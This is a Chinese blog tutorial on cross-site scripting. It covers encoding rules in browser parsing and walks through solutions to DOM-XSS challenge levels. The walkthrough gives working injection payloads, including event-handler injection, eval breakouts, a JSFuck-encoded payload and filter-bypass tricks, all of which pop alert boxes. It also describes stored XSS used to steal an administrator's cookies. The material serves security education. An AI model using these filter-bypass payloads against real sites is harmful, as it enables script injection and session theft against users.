当前位置： 首页 > news >正文

【安全】XSS

news 来源：原创 2024/9/20 20:35:38

文章目录

  • xss
    • 1.反射型
    • XSS Payload的一些情况
      • 01
      • 02
      • 03
      • 04
      • 05
      • 06
      • 07
      • 08
      • 09
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
    • HTML文档处理过程
      • 0x01 HTML解析
      • 0x02 URL解析
      • 0x03 JavaScript 解析
    • 2.DOM型
      • Ma Spaghet!
      • Jefff
      • Ugandan Knuckles
      • Ricardo Milos
      • Ah That's Hawt
      • Ligma
      • Mafia
    • 3.存储型

xss

用户的输入没有进行很好的过滤，导致用户输入被输出到前端，前端解析执行了用户输入。

利用js语句，常用方法alert，confirm，prompt；js所有的元素都继承自window

1.反射型

XSS Payload的一些情况

<a href="javascript:alert(1)">aaaaaa</a>

a标签中的href中可以通过伪协议来执行js代码

01

<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>URL 编码 "javascript:alert(1)"
解析不了,不认识

02

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">HTML字符实体编码 "javascript" 和 URL 编码 "alert(2)"
认识,可以执行

03

<a href="javascript%3aalert(3)"></a>URL编码 ":"
不认识

04

<div>&#60;img src=x onerror=alert(4)&#62;</div>HTML字符实体编码 < 和 >
不能进入标签开始状态

05

<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>HTML字符实体编码 < 和 >
不能进入标签开始状态

06

<textarea><script>alert(6)</script></textareatextarea标签和title标签是RCDATA元素，只认为其中的内容是普通文本和字符引用，但是字符引用无法进入标签开始状态，所以无法执行

07

<button onclick="confirm('7&#39;);">Button</button>HTML字符实体编码 " ' " （单引号）
html实体编码，认识，可以执行

08

<button onclick="confirm('8\u0027);">Button</button>Unicode编码 " ' " （单引号）
js严格区分大小写，不能Unicode编码符号

09

<script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>HTML字符实体编码 alert(9);
script标签和style标签是原始文本元素，只能容纳文本，其中的字符引用并不会被解析和解码

10

<script>\u0061\u006c\u0065\u0072\u0074(10);</script>Unicode 编码 alert
Unicode编码支持，也没有Unicode编码符号，可以执行

11

<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>Unicode 编码 alert(11)
js不容许Unicode编码了符号

12

<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>Unicode 编码 alert 和 12
解码完以后的12没有单双引号的包裹，所以语法错误

13

<script>alert('13\u0027)</script>Unicode 编码 " ' " （单引号）
js不能Unicode编码符号

14

<script>alert('14\u000a')</script>Unicode 编码换行符（0x0A）
js支持换行解析，可以执行

15

<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;"></a>html实体编码---->urlcode编码---->Unicode编码
符合规范，没有urlcode，Unicode编码符号，可以执行

小结

  1. <script>和<style>数据只能有文本，不会有HTML解码和URL解码操作
  2. <textarea>和<title>里会有HTML解码操作，但不会有子元素
  3. 其他元素数据（如div）和元素属性数据（如href）中会有HTML解码操作
  4. 部分属性（如href）会有URL解码操作，但URL中的协议需为ASCII
  5. JavaScript会对字符串和标识符Unicode解码

HTML文档处理过程

解析一篇HTML文档时主要有三个处理过程：HTML解析，URL解析和JavaScript解析。

0x01 HTML解析

主要过程为：标签开始状态——>标签名状态——>数据状态

在解析过程中，任何时候它只要遇到一个’<‘符号（后面没有跟’/'符号）就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”，“前属性名状态(before attribute name state)”…最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时，它会继续解析，每当发现一个完整的标签，就会释放出一个token。

在HTML中有五类元素：

  1. 空元素(Void elements)，如,
    ,等等
  2. 原始文本元素(Raw text elements)，有

五类元素的区别如下：

  1. 空元素，不能容纳任何内容（因为它们没有闭合标签，没有内容能够放在开始标签和闭合标签中间）。

  2. 原始文本元素，可以容纳文本。

  3. RCDATA元素，可以容纳文本和字符引用。

  4. 外部元素，可以容纳文本、字符引用、CDATA段、其他元素和注释

  5. 基本元素，可以容纳文本、字符引用、其他元素和注释

0x02 URL解析

首先，不能对协议类型进行任何的编码操作，不然URL解析器会认为它无类型。这就是为什么问题1中的代码不能被执行。因为URL中被编码的“javascript”没有被解码，因此不会被URL解析器识别。该原则对协议后面的“：”（冒号）同样适用，即问题3也得到解答。
为什么问题2中的脚本被执行了呢？
当HTML解析器工作完成后，URL解析器开始解析href属性值里的链接。在这时，“javascript”协议已经被解码，它能够被URL解析器正确识别。然后URL解析器继续解析链接剩下的部分。由于是“javascript”协议，JavaScript解析器开始工作并执行这段代码，这就是为什么问题2中的代码能够被执行。

0x03 JavaScript 解析

HTML解析过程中的“原始文本”元素。所有的“script”块都属于“原始文本”元素。**“script”块有个有趣的属性：在块中的字符引用并不会被解析和解码。**如果你去看“脚本数据状态”的状态转换规则，就会发现没有任何规则能转移到字符引用状态。这意味着问题9中的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中，它将不会被执行。

2.DOM型

Ma Spaghet!

通过url中的get方法获取somebody参数，然后放入到h2标签中，没有进行任何过滤，而且使用的是innerHTML方法。

直接在url中传入payloads：

?somebody=<img src=x onerror=alert(1337)>

在这里插入图片描述

所以，当插入纯文本时，不要使用 innerHTML ，而是使用 innerText，textContent，它们不会把给定的内容解析为 HTML，它仅仅是将原始文本插入给定的位置。

Jefff

setTimeout方法中使用的是innerText方法插入，无法再像上一题一样操作，突破口在eval函数。

方法1

?jeff=bbb";alert(1337);"

在这里插入图片描述

方法2

使用js的连接符,在js中-两边都是表达式，则可以执行代码

?jeff="-alert(1337)-"

在这里插入图片描述

Ugandan Knuckles

过滤了<>符号，不能闭合逃逸出input标签，只能在input标签中添加新的属性，onclick需要用户交互，不行；使用onfocus和autofocus共同来实现自动聚焦实现焦点事件。

?wey=abc" onfocus=alert(1337) autofocus="

在这里插入图片描述

Ricardo Milos

form表单中，提交的位置action是通过get方法获取，用户可控，提交事件2秒以后自动触发；所以可以在action中写入伪协议，等到2秒后提交事件自动触发action中的伪协议。

?ricardo=javascript:alert(1337)

在这里插入图片描述

Ah That’s Hawt

?markassbrownlee=<img src=1 onerror=location="javascript:alert%25281337%2529">

在这里插入图片描述

Ligma

过滤字母和数字，直接考虑用编码的方式进行绕过。

先将alert(1337)进行jsfuck编码，然后将编码后的内容进行urlencode编码（防止将其中的+号解析成空格等）

?balls=%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%28%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%2B%5B%21%5B%5D%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%2B%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%29%29%5B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%5B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%28%2B%5B%5D%29%5B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%5B%5D%5B%5B%5D%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%2B%21%2B%5B%5D%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%5D%28%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%29%28%29%28%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%5D%2B%5B%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%5B%2B%5B%5D%5D%2B%21%5B%5D%2B%5B%5D%5B%28%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%5D%2B%28%21%5B%5D%2B%5B%5D%29%5B%2B%21%2B%5B%5D%5D%2B%28%21%21%5B%5D%2B%5B%5D%29%5B%2B%5B%5D%5D%5D%29%5B%21%2B%5B%5D%2B%21%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%29

在这里插入图片描述

Mafia

过滤alert

方法1

匿名函数，Function代表构造方法，后面还有一个括号代表立即执行

?mafia=Function(/ALERT(1337)/.source.toLowerCase())()

在这里插入图片描述

方法2

将alert转换成30进制，然后用toString方法转换回来。

注意：最少要30进制，因为0-9再加a-t是10+20即为30，所以最少要30进制，否则将涵盖不到t。

?mafia=eval(8680439..toString(30))(1337)

在这里插入图片描述

方法3

?mafia=eval(location.hash.slice(1))#alert(1337)

使用location.hash截取#及后面的字符串，由于#不需要，所以从下标为1处开始截取。

在这里插入图片描述

3.存储型

存储型XSS主要用来获取管理员的cookie，从而实现使用cookie直接访问后台管理页面。

存储型XSS攻击的流程可以分为三个阶段：注入、存储和触发。

注入阶段
攻击者通过网站提供的输入接口，如评论框、搜索框、表单等，将恶意代码注入到网站的数据中。这些输入接口通常是网站允许用户提交内容的地方。

存储阶段
当网站未能对用户输入进行适当的清理和转义时，恶意脚本便被存储在网站的数据库或文件系统中。这意味着恶意代码成为了某些操作时网页内容的一部分。

触发阶段
其他用户访问包含恶意代码的页面时，由于网站未能对输出数据进行编码或过滤，恶意代码在用户的浏览器中被执行，导致攻击发生。

相关文章：

  • 北京网站建设多少钱？
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • UniAD_面向规划的自动驾驶
  • OpenCV图像处理——直线拟合并找出拟合直线的起点与端点
  • multimodel ocr dataset
  • 密码学基础---椭圆曲线一文打尽
  • 鸿蒙开发入门day10-组件导航
  • Python办公自动化：使用openpyxl 创建与保存 Excel 工作簿
  • MATLAB 手动实现投影密度法分割建筑物立面 （73）
  • Chart.js：内容、优点及使用方法
  • 常见的排序算法汇总（详解篇）
  • 稚晖君发布5款全能人形机器人，开源创新，全能应用
  • 单体应用spring Task和分布式调度
  • CDN劫持总结
  • MK米客方德推出新一代工业级SD NAND——更长寿命、更高速度、更优功耗
  • 白骑士的C#教学实战项目篇 4.1 控制台应用程序
  • 凹凸纹理概念
  • AngularJS指令开发（1）——参数详解
  • Computed property XXX was assigned to but it has no setter
  • ES学习笔记(10)--ES6中的函数和数组补漏
  • Flannel解读
  • Git 使用集
  • Java 网络编程（2）：UDP 的使用
  • JavaScript服务器推送技术之 WebSocket
  • Node项目之评分系统（二）- 数据库设计
  • PaddlePaddle-GitHub的正确打开姿势
  • tab.js分享及浏览器兼容性问题汇总
  • uni-app项目数字滚动
  • ⭐ Unity 开发bug —— 打包后shader失效或者bug (我这里用Shader做两张图片的合并发现了问题)
  • 类orAPI - 收藏集 - 掘金
  • 利用DataURL技术在网页上显示图片
  • 少走弯路，给Java 1~5 年程序员的建议
  • 世界编程语言排行榜2008年06月（ActionScript 挺进20强）
  • 翻译 | The Principles of OOD 面向对象设计原则
  • ​​​【收录 Hello 算法】9.4 小结
  • ​第20课 在Android Native开发中加入新的C++类
  • ​软考-高级-系统架构设计师教程（清华第2版）【第9章 软件可靠性基础知识（P320~344）-思维导图】​
  • #1014 : Trie树
  • #Linux（make工具和makefile文件以及makefile语法）
  • (C++20) consteval立即函数
  • (delphi11最新学习资料) Object Pascal 学习笔记---第13章第6节 （嵌套的Finally代码块）
  • (delphi11最新学习资料) Object Pascal 学习笔记---第14章泛型第2节（泛型类的类构造函数）
  • （动手学习深度学习）第13章 计算机视觉---微调
  • （附源码）springboot“微印象”在线打印预约系统 毕业设计 061642
  • (六)库存超卖案例实战——使用mysql分布式锁解决“超卖”问题
  • （亲测）设​置​m​y​e​c​l​i​p​s​e​打​开​默​认​工​作​空​间...
  • （十）c52学习之旅-定时器实验
  • （详细文档！）javaswing图书管理系统+mysql数据库
  • （原创）boost.property_tree解析xml的帮助类以及中文解析问题的解决
  • *算法训练（leetcode）第三十九天 | 115. 不同的子序列、583. 两个字符串的删除操作、72. 编辑距离
  • .Net 8.0 新的变化
  • .net core 6 集成和使用 mongodb
  • .NET Core WebAPI中使用Log4net 日志级别分类并记录到数据库
  • .Net Core/.Net6/.Net8 ，启动配置/Program.cs 配置
  • .Net调用Java编写的WebServices返回值为Null的解决方法(SoapUI工具测试有返回值)
  • .NET命名规范和开发约定
  • .NET下的多线程编程—1-线程机制概述